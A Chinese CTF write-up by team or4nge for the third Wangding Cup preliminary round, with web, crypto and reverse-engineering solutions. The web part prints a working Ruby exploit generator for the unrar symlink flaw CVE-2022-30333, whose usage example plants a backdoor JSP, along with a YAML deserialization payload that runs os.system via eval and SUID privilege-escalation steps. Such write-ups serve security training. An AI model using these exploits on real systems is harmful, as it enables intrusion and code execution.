第三届网鼎杯初赛 writeup by or4nge
rank: 16th
or4nge 的师傅们在第三届“网鼎杯”网络安全大赛青龙组初赛中奋战 8 小时,成功 AK 了 Crypto 方向并晋级半决赛,师傅们真棒!
审源码,发现存在路径穿越(双写绕过过滤);
读/etc/hosts
,找到secret-key为engine-1
,用flask-session-manager
跑出来管理员的session
文件上传unrar任意写漏洞(CVE-2022-30333),ruby脚本跑一下,上传。注意md5值。
1require 'zlib'
2if ARGV.length != 2
3 $stderr.puts "Usage: ruby ./create-payload <../../target/file> <filename to read payload from>"
4 $stderr.puts
5 $stderr.puts "Eg: $ ruby ./create-payload.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./reverse-tcp-4444.jsp"
6 exit
7end
8SYMLINK_LENGTH = 0x68
9PAYLOAD_SYMLINK = (ARGV[0] + "\0").ljust(SYMLINK_LENGTH, "\0").gsub('/', '\\')
10if PAYLOAD_SYMLINK.length != SYMLINK_LENGTH
11 $stderr.puts "Payload symlink is invalid, probably too long!"
12 exit
13end
14PAYLOAD_LENGTH = 0x1000
15PAYLOAD_DATA = File.read(ARGV[1]).ljust(4096, "\0")
16if PAYLOAD_DATA.length != PAYLOAD_LENGTH
17 $stderr.puts "Payload data is invalid, probably too long!"
18 exit
19end
20FILENAME_LENGTH = 0x0c
21FILENAME = "DONTLOOKATME"
22RAR = "\x52\x61\x72\x21\x1a\x07\x01\x00\xf3\xe1\x82\xeb\x0b\x01\x05\x07\x00\x06\x01\x01\x80\x80\x80\x00\x9e\xe2\xc4\xf5\x94\x01\x02\x03\x78\x00\x04\x00\xa0\x08\x00\x00\x00\x00\x80\x00\x00\x0c"
23RAR.concat(FILENAME) # Symlink filename
24RAR.concat("\x0a\x03\x02\xae\xf0\x37\x1c\x91\x98\xd8\x01\x6c\x05\x02\x00\x68")
25RAR.concat(PAYLOAD_SYMLINK)
26RAR.concat("\xf3\xa1\x93\x68\x28\x02\x03\x0b\x80\x20\x04\x80\x20\x20")
27RAR.concat([Zlib::crc32(PAYLOAD_DATA)].pack('V'))
28RAR.concat("\x80\x00\x00\x0c")
29RAR.concat(FILENAME) # Data filename (same as symlink to overwrite it)
30RAR.concat("\x0a\x03\x02\x00\x36\xe3\x00\x91\x98\xd8\x01")
31RAR.concat(PAYLOAD_DATA)
32RAR.concat("\x1d\x77\x56\x51\x03\x05\x04\x00")
33print RAR
34ruby ./cve-2022-30333.rb '../../../../fileinfo/ebfcb737ca3d64fc30f0e589007d4f58.yaml' ./test.yaml > 3.rar
左右括号和system用编码绕,tuple用bytes绕
1!!python/object/new:bytes
2- !!python/object/new:map
3 - !!python/name:eval
4 - ["__import__\x28'os'\x29.\x73ystem\x28'【command】'\x29"]
访问/payload?display=3
反弹shell
1find / -user root -perm -4000 -print 2>/dev/null
看到dd有suiddd if=/flag
即可
非预期做法,在文件系统里漫游尝试到一个可执行文件/lib/systemd/systemd-modules-load
,使用它执行flag即可得解
1/lib/systemd/systemd-modules-load flag
查询可得1709号段为联通的最初号码,用以下脚本爆破可得答案。
1import hashlib
2
3hv = 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc'
4i = 0
5while True:
6 psw = '861709'
7 psw += str(i).zfill(7)
8 m = hashlib.sha256()
9 m.update(psw.encode())
10 res = m.hexdigest()
11 print(psw, res)
12 if res == hv:
13 break
14 i += 1
用脚本处理txt
1f = open('output.txt', 'r')
2l = []
3for i in range(41):
4 rl = f.readline()
5 numStr = rl[15:19]
6 l.append(int(numStr, 16))
由提示flag{
为前5字符,未知数也有5个,可通过方程得参数。不知道,但范围只有30000+,尝试爆破,后来发现至少大于57000,由后的最大值可得,爆破范围只有8000+,爆破即得答案。
1rl = [8294, 41506, 52145, 56244, 57012, 45509, 13220, 49233, 15225, 27640, 8497, 11328, 37306, 31556, 24357, 520, 32475,
2 25269, 52933, 23219, 15430, 49778, 29003, 40459, 18670, 17612, 1440, 15779, 4529, 9631, 35229, 41264, 58767, 9203,
3 22569, 27627, 13953, 84, 41353, 10085, 50749]
4
5
6def MillerRabinTest(p, k=10):
7 from random import randint
8 if p < 2:
9 return False
10 if p <= 3:
11 return True
12 if p & 1 == 0:
13 return False
14 s = 0
15 m = p - 1
16 while m and m & 1 == 0:
17 s += 1
18 m >>= 1
19 for j in range(k):
20 randomi = randint(2, p - 2)
21 if gcd(randomi, p) != 1:
22 return False
23 b = pow(randomi, m, p)
24 if b == 1 or b == p - 1:
25 continue
26 for i in range(s - 1):
27 b = pow(b, 2, p)
28 if b == 1:
29 return False
30 if b == p - 1:
31 break
32 else:
33 return False
34 return True
35
36
37rn = [ord('f'), ord('l'), ord('a'), ord('g'), ord('{')]
38p = 57000
39while True:
40 flag=''
41 if MillerRabinTest(p):
42 eqs=[]
43 kt=[]
44 kl=[]
45 R=GF(p)
46 k=list(var('k_%d'%i) for i in range(5))
47 for i in range(5):
48 kt.append(k[i])
49 for i in range(5):
50 if i!=0:
51 kt[0]=rn[i-1]*kt[0]
52 kt[1]*=kt[0]
53 kt[2]*=kt[1]
54 kt[3]*=kt[2]
55 kt[4]*=kt[3]
56 le=rn[i]*kt[0]*kt[1]*kt[2]*kt[3]*kt[4]
57 equ=(le==rl[i])
58 eqs.append(equ)
59 res=solve(eqs,k,solution_dict=True)
60 for i in range(5):
61 tmp=res[0][k[i]]
62 ktmp=R(tmp.numerator())*R(tmp.denominator())^(-1)
63 kl.append(ktmp)
64 pd=0
65 for i in range(41):
66 ks=kl[0]*kl[1]*kl[2]*kl[3]*kl[4]
67 cr=R(rl[i])*(ks)^(-1)
68 flag+=str(chr(int(cr)))
69 if 31<cr<128:
70 kl[0]=cr*kl[0]
71 kl[1]*=kl[0]
72 kl[2]*=kl[1]
73 kl[3]*=kl[2]
74 kl[4]*=kl[3]
75 else:
76 pd=1
77 print(i)
78 break
79 if pd==0:
80 print(kl)
81 print(p)
82 print(flag)
83 break
84 print(p)
85 p += 1
递推可划为矩阵乘法。正向是矩阵乘法。
矩阵乘法有级的算法。故可以解决。
矩阵快速幂:
1cof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468],
2 [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447],
3 [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477],
4 [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949],
5 [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321],
6 [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410],
7 [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953],
8 [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739],
9 [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237],
10 [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716],
11 [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298],
12 [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057],
13 [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009],
14 [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926],
15 [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351],
16 [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859],
17 [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088],
18 [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558],
19 [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654],
20 [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]]
21
22sum=0
23for i in range(100):
24 M=matrix([cof_t[i],[1,0,0],[0,1,0]])
25 Mf=M^(200000-2)
26 v = matrix(3,1,[3,2,1])
27 vf=Mf*v
28 sum+=vf[0][0]
29print(str(sum)[-2000:-1000])
解密得flag:
1from hashlib import md5, sha256
2s = '8365222366127410597598169954399481033882921410074214649102398062373189165630613993923060190128768377015697889610969869189338768501949778819512483009804114510646333513147157016729806311717181191848898389803672575716843797638777123435881498143998689577186959772296072473194533856870919617472555638920296793205581043222881816090693269730028856738454951305575065708823347157677411074157254186955326531403441609073128679935513392779152628590893913048822608749327034655805831509883357484164977115164240733564895591006693108254829407400850621646091808483228634435805213269066211974452289769022399418497986464430356041737753404266468993201044272042844144895601296459104534111416147795404108912440106970848660340526207025880755825643455720871621993251258247195860214917957713359490024807893442884343732717743882154397539800059579470352302688717025991780505564794824908605015195865226780305658376169579983423732703921876787723921599023795922881747318116849413935343800909756656082327558085457335537828343666748'
3key = md5(s.encode()).hexdigest()
4key = bytes.fromhex(key)
5check = sha256(key).hexdigest()
6print(check)
1from Crypto.Cipher import AES
2from hashlib import md5, sha256
3s = '8365222366127410597598169954399481033882921410074214649102398062373189165630613993923060190128768377015697889610969869189338768501949778819512483009804114510646333513147157016729806311717181191848898389803672575716843797638777123435881498143998689577186959772296072473194533856870919617472555638920296793205581043222881816090693269730028856738454951305575065708823347157677411074157254186955326531403441609073128679935513392779152628590893913048822608749327034655805831509883357484164977115164240733564895591006693108254829407400850621646091808483228634435805213269066211974452289769022399418497986464430356041737753404266468993201044272042844144895601296459104534111416147795404108912440106970848660340526207025880755825643455720871621993251258247195860214917957713359490024807893442884343732717743882154397539800059579470352302688717025991780505564794824908605015195865226780305658376169579983423732703921876787723921599023795922881747318116849413935343800909756656082327558085457335537828343666748'
4key = md5(s.encode()).hexdigest()
5key = bytes.fromhex(key)
6aes = AES.new(key, AES.MODE_ECB)
7data = '4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87'
8data=bytes.fromhex(data)
9print(aes.decrypt(data))
动调分析关键函数,发现主函数结束后会跳到另一块区域,分析到输入部分
分析发现,该代码块调用多处加密,具体为0x1400119B0
,0x140011840
加密过程易得为
1s[i]=((s[i]^0x66)+10)^0x50
与结果数组比较即可
1a = [0x4B, 0x48, 0x79, 0x13, 0x45, 0x30, 0x5C, 0x49, 0x5A, 0x79,
2 0x13, 0x70, 0x6D, 0x78, 0x13, 0x6F, 0x48, 0x5D, 0x64, 0x64]
3for i in a:
4 print(chr(((i ^ 0x50)-10) ^ 0x66), end='')
转换初始数组或编译运行程序得到print内容为
1Input the first function, which has 6 parameters and the third named gLIhR:
2Input the second function, which has 3 callers and invokes the function named cHZv5op8rOmlAkb6:
第一处提示可直接搜索函数得到对应的函数名:ZlXDJkH3OZN4Mayd
第二处提示可使用脚本搜索
1text = open('challenge', 'r').read().split('\n\n')
2text2 = [i.split('\n') for i in text]
3
4for i in text2:
5 if len(i) == 6:
6 x = i[4].split('(')[0][-16:]
7 if i[4].split('(')[0][-16:] == 'cHZv5op8rOmlAkb6':
8 str1 = i[0].split(' ')[1][:-2]
9 time = 0
10 for j in text2:
11 for k in j:
12 if k.find(str1) > -1:
13 time += 1
14 if time == 6:
15 print(str1)
得到两处函数名,在程序输入即可
知识问答。搜索答案提交即可。